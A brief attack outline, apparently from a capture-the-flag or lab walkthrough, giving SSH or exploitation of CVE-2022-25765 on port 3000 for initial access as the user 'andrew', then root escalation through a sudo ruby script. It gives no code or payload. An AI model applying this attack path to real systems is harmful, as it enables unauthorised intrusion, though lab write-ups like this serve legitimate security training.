Access target via SSH or exploit CVE-2022-25765 on port 3000. Gain initial access as the andrew user, escalate to root via sudo ruby script.